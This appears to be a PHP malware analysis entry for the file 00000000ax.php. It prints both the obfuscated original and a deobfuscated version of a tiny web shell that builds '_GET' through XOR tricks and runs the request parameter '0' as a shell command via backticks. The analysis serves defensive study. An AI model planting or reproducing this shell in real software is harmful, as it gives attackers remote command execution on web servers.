PHP Malware Analysis

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Filename: 00000000ax.php

Tags

Input
  • _GET

Deobfuscated code

<?php

echo $_ = "";
$_ = "'";
$_ = "_GET";
$_ = $_GET['0'];
echo `{$_}`;

Original code

<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>